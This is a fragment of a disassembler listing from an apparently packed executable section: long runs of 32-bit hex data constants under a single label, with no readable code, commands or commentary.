		dd 2A8D4386h, 81430CD0h, 74310422h, 0BA241079h,	38047112h
		dd 0EC026922h, 86124B9h, 1C5944ACh, 5120BA11h, 0CFD1BC4Dh
		dd 688811FCh, 7873B4E4h, 0C4E863C4h, 8C385862h,	0B86485B9h
		dd 6838B432h, 0CBD14C84h, 5C84F4E3h, 4C8FD151h,	0C5108810h
		dd 980D4438h, 182432B8h, 4386B99Ch, 38482310h, 8A82343h
		dd 6C44D0ECh, 0B51BD862h, 0AEC44122h, 0B088B10Dh, 0BF9DE065h
		dd 0D8B7001h, 8A33541h,	8040C448h, 3889B898h, 0F07110A0h
		dd 4810C930h, 0A843B84Ch, 21CB3B17h, 18B8D8C5h,	0E0788ED0h
		dd 0D8BC1187h, 0D2533155h, 0E5E21803h, 0CCBAD1FFh, 4EB98422h
		dd 0C0C4281Dh, 282F8C86h, 981F1D89h, 20D0489Eh,	0F53D74A1h
		dd 1C4CF678h, 5CB44CF3h, 0DC8CF9Eh, 81988C93h, 0ECB9445Ch
		dd 8CC2FF96h, 0C89015BAh, 4850C4C8h, 0F61487D0h, 633C2911h
		dd 0C8CB3090h, 0D24873Ah, 190C62A0h, 0F87D4818h, 0A47BCF42h
		dd 10E8430Dh, 0DCC8BA64h, 881A146Eh, 9DAC64D0h,	9C0D127Fh
		dd 340CB431h, 9C4327A4h, 10412C29h, 6EE4C98Ch, 8B8444Ch
		dd 45D12FBh, 55522A0h, 4D100818h, 343C8021h, 7B141045h
		dd 76106827h, 1035343Ch
		dd 2D1A711Eh, 0D6C0F10h, 67071025h, 910DA8Fh, 0FAE35F62h
		dd 4D68BA4Ah, 0CC4286D0h, 29CF8084h, 0DFDFEF47h, 48C51864h
		dd 0B8F09631h, 0CC11E219h, 0D8E2E532h, 290AD419h, 51CE4A38h
		dd 506214C8h, 88C733BAh, 6485FDBDh, 14DC32E0h, 528F0C43h
		dd 8FCE91BDh, 7C8810E4h, 0DCCAA6Fh, 0B4887491h,	64323C65h
		dd 670C117Ch, 528E74A3h, 0E8A2743Ch, 140AE419h,	0F2BECEA8h
		dd 88749998h, 9E93400Ch, 488978BCh, 0F0884A4Ah,	7C28EC64h
		dd 0FDFD3D87h, 5686581Ch, 4821B110h, 32D95C92h,	0B9980D11h
		dd 4686280Ch, 94182150h, 78DB7EF0h, 8B60FD2Eh, 0C4D85CE7h
		dd 0C4507398h, 1017F062h, 51F4C8F8h, 11E85A08h,	0D48FCDF0h
		dd 0EF248810h, 5C048810h, 4784BBE0h, 42EA4AFCh,	0C35B5D48h
		dd 5351A254h, 560CF1E7h, 357E0B2Bh, 0F457A1C9h,	741F107Dh
		dd 2B2FFF2Ch, 1203E6B3h, 0E8D83468h, 1216E476h,	752B45FBh
		dd 0B428EA08h, 739C5135h, 0E2A06990h, 0A444151Ch, 0E11CA872h
		dd 39ACA20Ah, 0E8110EB0h, 8EB4FCD7h, 0D088B843h, 0C8BC1155h
		dd 0AB471C0h, 0C8E448A7h, 51859C38h, 87D01CCCh,	23AA8010h
		dd 0E7D890D4h, 0DC115518h, 0CC73E0C8h, 0E4E4882Ah, 853438E8h
		dd 0F01CEC51h, 0AA181087h, 0F890F423h, 115508E7h, 0BB10DCFCh
		dd 1ED6E4B1h, 61DE26D0h, 14753960h, 15D1E359h, 14882D4Bh
		dd 0C9BCFCCBh, 0F073EB5Dh, 0B5042474h, 75299494h, 58110F19h
		dd 0ABBFC75Bh, 0C303855Fh, 49B64ACh, 200D1025h,	85C03374h
		dd 2740BC9h, 6331D1FFh,	5622C288h, 5B77C057h, 0F845128Dh
		dd 4CE9A933h, 7D891E6Ch, 0FC5D9BB9h, 8B41E488h,	7FCF2BC8h
		dd 4D864DB1h, 1232E983h, 480C8743h, 6E0A2374h, 24BD17EAh
		dd 6807FF27h, 17591BD8h, 6347EBC2h, 5F217790h, 2980C632h
		dd 11B5AE30h, 5B57F08Bh, 10CAD856h, 74F73B0Dh, 0D494D912h
		dd 3B836256h, 0EB9874C7h, 846868B5h, 452F4F69h,	200EA118h
		dd 0EDFC578Dh, 5BAA4240h, 61D3C491h, 405468F7h,	3E39CC66h
		dd 8DE67605h, 0BB8045Eh, 479B4C30h, 1801C383h, 0F1723E3Bh
		dd 0DE57D2EBh, 561445CEh, 640CD6ABh, 0E9A7A983h, 0BF006577h
		dd 0CC4B1252h, 0DCB4783Fh, 0F39FB69Fh, 0BB04BE85h, 59F20A4Fh
		dd 0F008F10Bh, 0D9B5619Dh, 0DB40113Ah, 0C68B18C1h, 76F0BF5Eh
		dd 0E39D6190h, 1FEF8D4h, 0E1D7B7Eh, 0E9D157CEh,	0DAF7C3BCh
		dd 2E20348Dh, 0B70F0354h, 42C7033Ah, 0F6754988h, 4EB5F18h
		dd 0F2850823h, 574305Eh, 0C1030A94h, 255E4990h,	0E9E0BDA5h
		dd 0E7EBF910h, 0EE8EDEFh, 0CBD0F7ECh, 5BDE579Ah, 8FD0B756h
		dd 44048F38h, 0A47C608Bh, 9C9534FFh, 2E7483AAh,	571C6A41h
		dd 152F253Bh, 694847A2h, 80C09827h, 33A8267Eh, 0E4BD0A6Ah
		dd 0FE19582h, 49274AB8h, 3B46152Dh, 0DA7C0426h,	3484C78Bh
		dd 0BD976D6Dh, 0ED05BF10h, 5E2B9138h, 0CC9D53B2h, 8B036A00h
		dd 0D214245Ch, 825A1B7Eh, 54EDF2D3h, 7E121430h,	2BCBFB16h
		dd 2A00EE4Bh, 3B471F14h, 0EA7C3DFEh, 127024BCh,	0FEC38B5Fh
		dd 0E251A7C8h, 0FC653883h, 0C7C7AA64h, 0AB01052Ch, 5926B29Bh
		dd 0F4BE8340h, 0C8844315h, 2FCFC844h, 0F05CA0Fh, 0D8416A0Bh
		dd 3B5A0017h, 890375C1h, 83F8FC55h, 7C5BF901h, 59616AF3h
		dd 7B20104Ah, 87D8B0Ah,	0CD1EA56h, 0F9ECE41Ah, 0C5C0A92h
		dd 9406FAF0h, 0CDF97EF4h, 8227007h, 0CC45AEA4h,	0BE2DDBB4h
		dd 529C4B10h, 984FAA5Fh, 2AE1946Eh, 0B56C27C8h,	64F5D112h
		dd 0DC7553Bh, 45E81806h, 2D941AD0h, 5CB0E483h, 47324B04h
		dd 1E2E7414h, 7C121E59h, 0C0F50112h, 82162078h,	0F9020E11h
		dd 111CF963h, 27485CEBh, 7750A0Ah, 111018BEh, 755A804Ch
		dd 8414BE3Eh, 0A513C52h, 502E7505h, 841052CCh, 1322346h
		dd 13110C21h, 8FC0218h,	0D8B21DDEh, 427A2A04h, 0A45FC68h
		dd 1C7FA07Eh, 0E051BD56h, 265C024Eh, 0E0820905h, 67853068h
		dd 649A80F0h, 3ACB2B76h, 0D1AF1E0h, 7292CB8h, 2B1279EEh
		dd 24682E40h, 34931DD4h, 39FEB8E4h, 0DA2B0BA3h,	0A188C54Bh
		dd 77E0270Bh, 20DF883h,	7A1F765Eh, 0BB5B25ADh, 4EC0BB0Ah
		dd 5A047449h, 0EE4525C1h, 1F42A39Ah, 5789F542h,	1E51BC8Bh
		dd 8D157401h, 4DBDF446h, 86D9ED5Bh, 59C1B59h, 8B0AEB40h
		dd 3B49C10Eh, 9437704Dh, 75FE9FFDh, 14C68300h, 61FE8147h
		dd 0CB7267A8h, 0A70EFBEBh, 0C3BF048Dh, 62208514h, 107DF623h
		dd 4649E1D4h, 0E19D060Ah, 0D3C35D59h, 221636EBh, 17534DB8h
		dd 0BF914821h, 916A639Fh, 4244C11h, 755B0662h, 504C1846h
		dd 3158A20Dh, 19FA19BFh, 5B18FA62h, 279D5139h, 94F9D347h
		dd 0BF18FF0Ch, 0A24C1085h, 0ABF3150h, 0BF105023h, 0F21350A2h
		dd 80BA1B84h, 0B5BB8D24h, 2D246F0Dh, 0D27FE2BAh, 457C3D08h
		dd 4C1E317Bh, 28C83798h, 74401EE0h, 5D478478h, 8FFD743Eh
		dd 3F887010h, 212A6CE4h, 0C8211168h, 60BE7064h,	487D19D0h
		dd 9A5C22A5h, 4D8306AFh, 0A50FFFCh, 8DFF875h, 7C69DD3Ch
		dd 689D2E96h, 0DF6A3BB2h, 0FC4C1CEh, 20AEE3BCh,	0C33B145Ch
		dd 3C157D32h, 0E83BA34Ch, 0DF340953h, 0ADD40112h, 8024EB89h
		dd 0D7D642Ch, 284D668Dh, 0C6202A51h, 0BED8B7B2h, 21264857h
		dd 7C0C97B9h, 535DDC40h, 9059E63Fh, 832FD6B3h, 0C82208F6h
		dd 4F3B9B38h, 6125C871h, 67CB8B99h, 12DBA23Ah, 564F3558h
		dd 66AF1E12h, 0EE97128Eh, 84F6C2ABh, 2A6BC146h,	78515EC2h
		dd 923EE62Dh, 1CA10566h, 0AA0C453Bh, 13E92D10h,	0A8090476h
		dd 0D6E244C9h, 29DAE632h, 0BCBB3D14h, 85D80F8h,	448DED6Ah
		dd 0A3120A37h, 8FE1171Ch, 3D0A0147h, 44F8BE08h,	6A025835h
		dd 68C72B74h, 53BDA1B8h, 21B14BA3h, 4720BD6Bh, 0BB74F5D6h
		dd 901AD966h, 146AF8F7h, 342C6805h, 131E0415h, 14D7058Ch
		dd 30210AEh, 68106AF7h,	31229E31h, 104A44C4h, 5121B457h
		dd 0A0382573h, 4B4168F3h, 6A20F317h, 1865A222h,	82B24A7h
		dd 0DCD622FBh, 98A2095Fh, 4BEF8028h, 8E5060C3h,	0E6E91461h
		dd 0F2F4168Eh, 3D0777C2h, 0F684AC72h, 5645EB15h, 56C621Ah
		dd 79B0D701h, 708AB5AEh, 195353D2h, 20A6606Ah, 0E3C6909h
		dd 3E35BBD7h, 1948B392h, 58B0264Eh, 0B7C2448h, 275B5F5Eh
		dd 4A04CB0h, 875C984h, 0FFB84101h, 81C13B8Bh, 2E08303h
		dd 315A9CFh, 507746EAh,	330A8480h, 0D0D1274h, 5C270CB2h
		dd 35306C4h, 45FF0356h,	45BE56E1h, 7616A032h, 0F8D41D51h
		dd 833E8C1h, 0A60C543Ch, 4C10DB50h, 0A5B0A64Bh,	0C92CD281h
		dd 0DB44A124h, 0B62AC5A1h, 0CA3BC785h, 0A30065A2h, 144D8BB7h
		dd 1D278A53h, 33E68218h, 804A54D2h, 1C76C985h, 3A19048Ah
		dd 0A9BC332h, 0A20C0D12h, 60FEE875h, 3B423EC3h,	0E47472D1h
		dd 2E88CE2Ah, 6A227702h, 4AA06815h, 88DC21C2h, 13B3AD0Dh
		dd 9DFCB130h, 8DD22ECBh, 0A05AC315h, 0A4886817h, 89660A22h
		dd 9123960Dh, 8217A29Bh, 84395984h, 37C276A6h, 34D7E055h
		dd 0C8A0311h, 88CB3238h, 404006A9h, 0F27214ABh,	21A2A992h
		dd 32E2D9E2h, 808E10FDh, 2529B838h, 0C172050Fh,	5D3D4727h
		dd 0EE7CB300h, 50904BEBh, 74A8F74Fh, 9275ACD3h,	868DBE21h
		dd 0C9C858A6h, 4406FC76h, 64CF1C24h, 1EE92689h,	0D14A64Dh
		dd 0C82978C3h, 304C1816h, 0F580891Ch, 0B25E0828h, 9138B90Ch
		dd 22FE4B98h, 621B2638h, 0A5F302B6h, 0C764C48Fh, 7B3AA580h
		dd 6C2F2EB3h, 0BDB89FE4h
		dd 2A1FB551h, 3177E6D3h, 0A611EC1Eh, 6A6164D6h,	0D445ACB2h
		dd 292A6621h, 569FA7B2h, 892969C9h, 0BC67112Bh,	0DF110825h
		dd 3C093E64h, 9751668h,	46CBEECh, 0D72D1265h, 2A06996Ah
		dd 4A7B7B9h, 81022FEh, 81247048h, 0DD1CC648h, 1D32FED2h
		dd 2D1472B0h, 98A15553h, 0C8DB3310h, 0F31A3BEDh, 0FC36797Eh
		dd 717D8998h, 84D73332h, 44BAB6BAh, 0BABE8D1Ah,	1839392Ch
		dd 0C403741Fh, 91EF895Dh, 2A78182Ah, 4406109Eh,	75A8B14h
		dd 0EC92CFA8h, 2221D069h, 0E788401Ch, 422806A1h, 185D3742h
		dd 50B68D99h, 0FC1F3520h, 0F410A436h, 8B5F121Eh, 2FBEE5C5h
		dd 0EE4321F9h, 84E5F8D2h, 8BA4F5A4h, 0BE435701h, 0F145E08Bh
		dd 0EA95FA7h, 0F00C9805h, 88A6BE7Dh, 1F984678h,	1A750803h
		dd 0B17EFF85h, 0F3F3E39h, 0E85DF14h, 0D2497453h, 4B91FC19h
		dd 0B9140143h, 486ACF12h, 6C90EE66h, 0FCCE49FFh, 54583B11h
		dd 0A714C73h, 27C18140h, 10F9143Bh, 3FE93626h, 22D252D2h
		dd 5C3B3117h, 2111D415h, 0C522428Ah, 0C2AC835Eh, 0B683BCA4h
		dd 13BA9060h, 0EC097424h, 1E95B4Ah, 0E6F4A7DEh,	4C085C2h
		dd 0B528AA1Dh, 8B69951Ch
dword_4E414C	dd 7FF621A8h, 68EBB72Ch, 0CC1F2D1Ah, 93879038h,	1A013110h
					; DATA XREF: .packed:off_43ACE4o
		dd 0E547C26Ah, 0A7E9EDEBh, 0E662B75h, 0D7ECF28Fh, 898889C4h
		dd 100C90C8h, 186414C8h, 20191C32h, 3792BF17h, 0C449C8B0h
		dd 0B6A5E78Fh, 0E8A5DE0h, 742583B8h, 0FDDEF85Ah, 0C3F28B9h
		dd 0D23F123Fh, 0F9804C07h, 0A2E562Ah, 7A783F5Dh, 0EF0A5B68h
		dd 0E2CA3A09h, 575F8992h, 0A8D9786h, 74504620h,	99895308h
		dd 8DA9A71Ah, 13EB0183h, 88173145h, 6341A829h, 4712464Eh
		dd 0EE0FA0EBh, 5F0BCA2Ah, 28101D15h, 12340BF0h,	0D3D75C8Bh
		dd 0BD70AF4h, 854605D5h, 90C802EBh, 6BE5B627h, 0F7AD1029h
		dd 210AF02Ah, 58F87D07h, 0A16B3980h, 410675B9h,	4CF90CBEh
		dd 2C60110Ah, 0FB80198Ah, 396C5D66h, 94C4C2Dh, 1C3D6779h
		dd 8A2CE12Dh, 711C6041h, 0FF49D8E7h, 7DC83A00h,	745D3C1Fh
		dd 0C939771Bh, 2AD8163Eh, 0F08AE9E7h, 7AB0D93Ah, 7F30D8E8h
		dd 3289A813h, 0CEB375Fh, 3A023EFBh, 0EE6B7518h,	7D02FFF1h
		dd 32824254h, 63F8A2A6h, 97D24A2Bh, 3BF943E0h, 51CEC4E6h
		dd 1B4917FFh, 298CBAC9h, 5D8D12D6h, 0FF999AF9h,	18610E54h
		dd 438A020h, 8A1C7418h,	0A2D8809h, 10EB0682h, 40B4C215h
		dd 20900789h, 0E2EDE0EBh, 42EEA8Ch, 0F5D01EDEh,	3A088A07h
		dd 8019C7CBh, 741A3816h, 6F994B96h, 4EBF0B1Dh, 0C4051924h
		dd 36F18260h, 7DB4165Dh, 62076C3Ch, 106A8A3Ah, 741E7FBCh
		dd 124C8A24h, 0C605F2D3h, 34E8EBB9h, 3011F1CAh,	593F4ECBh
		dd 0AE692905h, 0C4514DD8h, 0B40DD920h, 0A7BE0CF8h, 0A40C4C4Bh
		dd 53A528AEh, 944162B9h, 1204431Bh, 4A6AE3CAh, 0BE943EFCh
		dd 40E8BF26h, 0BE564574h, 16B218E0h, 76910650h,	0D8032F12h
		dd 0DA46E207h, 61995E49h, 321B8868h, 8F1190BBh,	0A038B357h
		dd 1CC04FBBh, 40C6CE8Eh, 84F87EC4h, 0EF39C5E0h,	5329EC9Ah
		dd 0ED749140h, 0DAF40633h, 34C66203h, 9CCF895Fh, 0E0A11695h
		dd 0DC6FF4E4h, 72560DCAh, 1348D41h, 23B4754Dh, 0CA54673Dh
		dd 0B4680A24h, 6D155A81h, 965E30E2h, 0A3D28D6Ch, 0E7180856h
		dd 2AFEFC90h, 0B8705528h, 35AE104Eh, 0F89322D1h, 0E51C4822h
		dd 253D9219h, 8923291h,	0DA35D02Fh, 0F6890A21h,	0F05932D5h
		dd 82D3824h, 49FB5711h,	458A5D45h, 7E8D2187h, 0CA8A201Eh
		dd 913F218Fh, 0C604ED28h, 0C62E0E24h, 30C2F821h, 271C4E5Fh
		dd 401203F0h, 4B934074h, 8D0989ACh, 0C6D7CCBDh,	6D284779h
		dd 71A72470h, 0D6959E46h, 39F80AB0h, 0D57869E0h, 0CEA06D3h
		dd 0BB4B1858h, 0C38B11A0h, 69E4D6CEh, 3833D930h, 0FE4BB312h
		dd 8CEFD534h, 330AFFDCh, 49D8738Dh, 0A13086Ah, 68168CBBh
		dd 0CAC89852h, 784C1257h, 0DC39CAECh, 0AEF7BD70h, 0FC1021B7h
		dd 45672CC5h, 567B1477h, 0F6A47111h, 0F215625h,	207DBD80h
		dd 29787E55h, 511F10D6h, 5D240ED9h, 0DCF10033h,	0B2DB8959h
		dd 0EC143221h, 0F019C012h, 89C42790h, 0BC160703h, 0B01C3208h
		dd 6AE818A1h, 0B416902Fh, 0B5AA08CCh, 0FB0236AAh, 2846B885h
		dd 41453F8h, 4A2EC481h,	2233CA0Dh, 0C3834484h, 39098140h
		dd 0EFF8423Bh, 0FC524966h, 0C8F2D0B1h, 28B77F64h, 0F9C6057Fh
		dd 2C4544AAh, 48A5F357h, 0B6AB1D1h, 2DFF8A6Bh, 0FF528027h
		dd 0B420C534h, 487625E8h, 24FE8253h, 4E94CEE8h,	9913D5C2h
		dd 380BC816h, 0BBF3CC59h, 0E22C1826h, 85220204h, 0EA29FF38h
		dd 564AA7F0h, 0C1D320EEh, 89B806E0h, 5D98393Dh,	0A7226475h
		dd 2CCAAE52h, 0D24C0550h, 0D190AE65h, 7DDCBE57h, 0C87EE1DBh
		dd 530C5640h, 18DDECA3h, 0E81D3489h, 12B2AB0Dh,	0B408BF13h
		dd 3BD603C2h, 0DC2004EEh, 10A0254Ch, 255B9985h,	0E8490BDEh
		dd 0D9D8A3E5h, 11402883h, 70F47F6Ah, 3CA1BFDEh,	7B18458Dh
		dd 0A6DDCFF0h, 0C757C131h, 6FDE7405h, 1AEB8531h, 3711C444h
		dd 82EAA620h, 0FC876820h, 2100B9FDh, 0B45D2588h, 9DFC471Ah
		dd 5445E45Ah, 68538A3Dh, 0B45D257Fh, 1D0D5117h,	818D8A7Ah
		dd 4CDE781Dh, 5CA117C2h, 1E086804h, 2969938Fh, 0A15112DEh
		dd 0BE1A4B69h, 0D2767B84h, 9488282Bh, 689047E0h, 8823B852h
		dd 80E287DFh, 5F7C14DEh, 18E11835h, 0C4242915h,	1C68E098h
		dd 64A7E142h, 431C68E0h, 0E094C4E1h, 431DD442h,	8404433Eh
		dd 8028E08Ch, 21AADE44h, 8CE240F3h, 20081DE0h, 0A021F4E1h
		dd 3659F91Dh, 0EFA95F7Eh, 99390604h, 1273CC0Ch,	87070144h
		dd 4A22FC1Ch, 14D91510h, 22DB44C4h, 38692F18h, 0E4834296h
		dd 0A33A19B6h, 0F324C8C8h, 0CC68EC48h, 48840AFDh, 200569DBh
		dd 475D1D10h, 237024B5h, 8E074256h, 0DB3CA418h,	11F53828h
		dd 101AF108h, 0D0E8DB3Ch, 38A2DB47h, 0A696A63Fh, 0CF081094h
		dd 321F113h, 0BE2178CFh, 8EE358B4h, 6A5B98B4h, 0FB975C7Ah
		dd 7E562553h, 18880204h, 1299A5AEh, 0A303E4E7h,	230B53B8h
		dd 0DAE12C10h, 0C051B2EAh, 0DF28A33Fh, 408D4A25h, 800E2849h
		dd 760D8928h, 4413A1C4h, 1A225013h, 0DF5197C8h,	0A7AEFC44h
		dd 0F3FCC813h, 22E4C0A9h, 4A599028h, 0D1068BFh,	0E8283AD4h
		dd 0A2E447D4h, 0B2A73504h, 0A43C5459h, 8D8D12CDh, 1B4BDF3Eh
		dd 0B70C9C9Ch, 0A55D5A92h, 0C80D4089h, 962E1745h, 49D21341h
		dd 9EE6FD52h, 0B3510635h, 10E47906h, 333D769Fh,	0F49B896Bh
		dd 41F80620h, 5F332FFCh, 590FE983h, 7188222Fh, 2031D17Dh
		dd 93199DDFh, 9B346FF4h, 0BCC478F8h, 76394DE3h,	0C2B20D11h
		dd 1A64D2BDh, 4EA2DF8h,	58EA2DFCh, 0B7095ACh, 410F0555h
		dd 8A0308E9h, 9F44D25h,	7A06F894h, 0A1051CD2h, 0D124CD04h
		dd 5E7C02F7h, 5F23D801h, 64DB333Ch, 0BDE1020Eh,	85D0E93Bh
		dd 8116FE83h, 0A56DA89h, 58F69D14h, 0CA64E410h,	58E7EFE8h
		dd 3DC4E627h, 4197E7Ah,	70285680h, 448D699Ah, 0B716C57Dh
		dd 5D89B16Ch, 25AF54F8h, 0E06104D0h, 1C530FFEh,	0D1F1DFB9h
		dd 0BD2815BBh, 0BC52C810h, 544DE2A5h, 2BD86D62h, 0AD9F6EC3h
		dd 8CC4DAB2h, 9D83F202h, 0DEB09021h, 0C7D475C1h, 863D4880h
		dd 22D84099h, 734C6B52h, 59DE40FFh, 3450DB69h, 2E95833Eh
		dd 0C53CA241h, 24F4A924h, 8C5FAEF3h, 744EF07Dh,	0B09342F9h
		dd 2B8CA59h, 0EB59AFB2h, 67088705h, 0DDAA8B8Ah,	8935B351h
		dd 0C557C412h, 0FD740835h, 711E6488h, 0BD144918h, 4652DC36h
		dd 0C8646516h, 0E5983513h, 2D548614h, 30C2E071h, 0E420687Bh
		dd 0DC152819h, 645B85A5h, 82A3D3Ch, 2D02EC3Dh, 7A40BD80h
		dd 2B9AA3AFh, 3B6DE85Ch, 0B9B140A7h, 0DD0A68C0h, 885065E5h
		dd 5052FD74h, 456B8426h, 1C053AD8h, 6D28E1B5h, 2CFD4FF8h
		dd 595DE0EAh, 50A740Ch,	1A4317D0h, 52FE8808h, 0C6597919h
		dd 0ECB6FB6h, 11284708h, 0FDF410C0h, 0A415E88Ch, 0EC2DFE42h
		dd 0CA82039h, 944384C4h, 10F8D86Ah, 9C858498h, 3A958D4Fh
		dd 9E80FC2Ah, 2D901E29h, 27C424AAh, 0FB772F9Ah,	2FB44119h
		dd 0ACFC3B56h, 0E69C27DCh, 1801CC26h, 0F815B4F9h, 899A62E6h
		dd 815FE498h, 9A6CB4AAh, 0D4F483B4h, 448B6477h,	0B35327ECh
		dd 6CECA802h, 0ADBB60FCh, 3164915Ah, 4D50800Dh,	6912727Ch
		dd 934024BEh, 0E325E4C7h, 445F4268h, 0F8E04AE0h, 0B84DCC1Dh
		dd 48688834h, 0A4B11F48h, 395938C0h, 7585A05Dh,	1B53521Dh
		dd 0C4B9324Fh, 0A18EBC33h, 0DA513425h, 0E149F5E9h, 0D4C55304h
		dd 0EB93359Ah, 1C89FBC8h, 9CB4A499h, 38812E94h,	5C2AF82h
		dd 8CC86657h, 7D89D409h
		dd 505DA5DCh, 16147C32h, 0FB977386h, 1206A605h,	4544F3D8h
		dd 24E892F4h, 45423EF3h, 1239F94Eh, 358EC3E8h, 9ED84D12h
		dd 0C60B2832h, 2D014AB0h, 0D6FF1E6Ah, 2B28F5EBh, 0DC7045A4h
		dd 0CB56F21Eh, 14FE4734h, 47142D10h, 0F0AB03Bh,	0B2A75186h
		dd 89FFD080h, 0CD939B01h, 0EA608704h, 73E500Dh,	0A2E5CAB7h
		dd 9404ECBDh, 0CB504449h, 9C5B448Bh, 14E4F899h,	463B4795h
		dd 0EA4AAFDAh, 0AEE9707Dh, 0C9DAD53Bh, 8F7954D3h, 9070B37Bh
		dd 0B1D4C9E4h, 45365346h, 133A776Bh, 0A45AA269h, 0F9C875DBh
		dd 5F12E613h, 3AF8C474h, 44642BC8h, 15E1252h, 0B0895E2Dh
		dd 71BD3EA8h, 2C87C8ACh, 66A8495h, 614EA156h, 864E73FBh
		dd 0B9735F74h, 2BA5CA21h, 6E522F83h, 0DD91B14Eh, 43733E74h
		dd 0E224D824h, 0DC56E4BFh, 101F7C88h, 0FF48B157h, 7495E008h
		dd 0F34413A2h, 0F61951B2h, 0FFE98156h, 315F47B1h, 0D7AD3E5Eh
		dd 3425CD90h, 5D2AE12Fh, 0F3E46ECEh, 0A04C0859h, 57793CCh
		dd 0A9A483C7h, 0AD338C0Bh, 9FB3D4D0h, 0A410CCB2h, 0C8FA911Fh
		dd 59E4B911h, 4925A850h, 51058B67h, 1CFC6CA4h, 8545BC96h
		dd 99E5F10h, 8EC85F68h,	923FE6Ch, 9B62C73Bh, 0F47D6048h
		dd 6A264CB8h, 296F6032h, 90E4F7FCh, 8C62B3FAh, 44BB89FBh
		dd 8432D858h, 44E6AE0h,	6B2C7BD9h, 295F68AEh, 0B92C22EBh
		dd 30F1995Ah, 0D650880Ah, 85E4D440h, 0F888D090h, 210FD079h
		dd 17FCF1E0h, 8427CF8h,	8C4F821h, 2689493Ah, 741B2B3Bh
		dd 0C1104438h, 904B52BAh, 0B216CCB2h, 18D0580Dh, 23CC54B3h
		dd 2CAD4B5h, 626AB955h,	0D17D24B4h, 475C2C24h, 0C60E6C1h
		dd 0C3E020E8h, 5C250E90h, 0ECD15824h, 8DF69FF1h, 7B48FF49h
		dd 6AFA1C74h, 0C3A45799h, 241AE33Ch, 499CDC20h,	5E891C18h
		dd 8B3EC604h, 0C2388BC6h, 7235A08h, 0D980160Ch,	15FF156h
		dd 0D2083C82h, 0F04291h, 0FB2E74F6h, 541A5602h,	0FAC66920h
		dd 0BF24FE9Dh, 0B2C60397h, 894CD602h, 0B533A87Bh, 0C25D0B90h
		dd 89681068h, 74854927h, 0AA85206Bh, 832A5991h,	2670A766h
		dd 4065E395h, 0FD46A635h, 7DD9216Fh, 10B281Eh, 9D0F7FF8h
		dd 0E3DC4BC3h, 3D9F5FEh, 9C50CAC7h, 47506BFh, 58EBC032h
		dd 505C2CD9h, 934BC84Ah, 75C0FB58h, 28C18A0Fh, 76FF0788h
		dd 3BADF6D6h, 1AEB3607h, 0A982C6C6h, 8F8C10Dh, 1B072088h
		dd 1C480265h, 73662403h, 0DA8A37DDh, 0FC5914FBh, 5F25B03Dh
		dd 90A1A47Bh, 0F84D8D06h, 1744D661h, 54D2E201h,	6E68BB67h
		dd 0DC130829h, 0A54087E0h, 503C4595h, 0FAA69415h, 0EC10D0D2h
		dd 0F8959D8Ah, 8B18826Fh, 0C33E84CEh, 0B9409359h, 149651E4h
		dd 0C97A0811h, 7C55A85Ah, 7F082A3Bh, 3938788Ah,	66D89F8h
		dd 66A6717Dh, 35089CEAh, 0A1FCEC5Fh, 4EB35059h,	57090C1Bh
		dd 0AB5EE2BCh, 0CD1FD909h, 615BA322h, 8492C321h, 0C328880Dh
		dd 84E3D5A1h, 6442CC80h, 0C3296B3Ah, 600C1469h,	7F33BDC6h
		dd 0EC2B0755h, 5BA45E43h, 58788198h, 0B838A58Ah, 0BF2A4207h
		dd 98FA70E9h, 0F10090Ah, 51DA338Fh, 8D185D05h, 20870843h
		dd 322587E3h, 0D04A561Dh, 0E010231Bh, 0FCDFB091h, 9413F55Eh
		dd 0CA10C010h, 0D86408C8h, 68FDC034h, 43702030h, 0D5833FA4h
		dd 38FA03FBh, 8860F96h,	9A406846h, 3A06E1BEh, 0F7A88518h
		dd 4F6A56A2h, 662DBB42h, 34086E60h, 4D732468h, 7B215336h
		dd 2A186436h, 0C9B509B8h, 1E5E2B21h, 0D33B3921h, 0B8E0215Ah
		dd 0DE23B49Ah, 16BDAD30h, 2ACA08A4h, 6A422A56h,	8B629444h
		dd 34407611h, 6A11068h,	1D34BB43h, 0D6362E8Bh, 800C73ACh
		dd 0A47FBD0Eh, 3170A216h, 150B4344h, 7F6BAC68h,	0BFED3FE3h
		dd 863CF840h, 0F6D51ECBh, 17104663h, 0C70669BDh, 7D2B1D88h
		dd 0E88C7121h, 55B48057h, 32ED0AFDh, 4EC2952h, 0EF1C19C0h
		dd 8686B40Ch, 643349BFh, 2C402694h, 608A9D61h, 0B4DAE984h
		dd 5ACC77AAh, 0D4104CD9h, 39D00E52h, 0A6C00CC4h, 0E01CF742h
		dd 0D6BB3AAAh, 0D5C0112Bh, 198A4164h, 868D8C7h,	0DC2B5CEAh
		dd 6A391928h, 0F3A8AA02h, 0E2660F86h, 0CA17CCCAh, 6F6BC80Ch
		dd 0E4C8C871h, 0F819DCF0h, 0DC50CD86h, 0D80C9427h, 261ED12Eh
		dd 0C3E137DCh, 0B3A1A468h, 0CBB7282Bh, 6019F44Ah, 0EE2B4DF0h
		dd 0A018F039h, 0FC1CFB86h, 1FF856A9h, 9410F823h, 909021EEh
		dd 73B8E7B8h, 8729CC5h,	5E2C8CE7h, 0EABC0D89h, 0EB041448h
		dd 1091110Eh, 8827B296h, 57568B10h, 5F13F8D1h, 41F07A8Ch
		dd 2536FFDh, 6A1C8CFBh,	14613C7h, 0F8B589D1h, 1F70242Ah
		dd 78132F13h, 0C72A1840h, 760A68C9h, 720C4241h,	75918209h
		dd 52797F11h, 0B7530243h, 0FBA8C0C4h, 6EFD1089h, 0A9FBB5FEh
		dd 4B53A12Ch, 0FC8D732Bh, 0B8DD232h, 0C0717F04h, 4374A9CFh
		dd 3454690Bh, 223B65FDh, 0FF50981Ah, 4048A46Ah,	5437BA9Fh
		dd 47736F7Dh, 9B415FB9h, 5E94F178h, 0D2077558h,	0C213C082h
		dd 6596539Dh, 682F01EFh, 9D2B20CCh, 0B931FEh, 0FC6831DCh
		dd 665021C0h, 0AA2F7E89h, 5E73C014h, 21DBD83Bh,	25A45339h
		dd 0DF030603h, 42E6EC68h, 1F4E0FEEh, 0D3859714h, 6E414462h
		dd 83C1C013h, 482A8B98h, 320BEA84h, 753BEBDBh, 627AC592h
		dd 96A3FC4Fh, 92042040h, 2A5656A3h, 742B1C20h, 2ECC21D6h
		dd 1B31210h, 8AC8CC56h,	0BADCC34Ah, 0F8B0E583h,	8684898h
		dd 0FCD22168h, 6454326Fh, 0B4483D16h, 0E4E0811Eh, 53E69720h
		dd 30DF4084h, 240E7A65h, 0CA3482E0h, 20045A32h,	0B2E51EC8h
		dd 90074A12h, 4BE0C1DDh, 0DFF58103h, 0DDCCC6Dh,	0F176702Fh
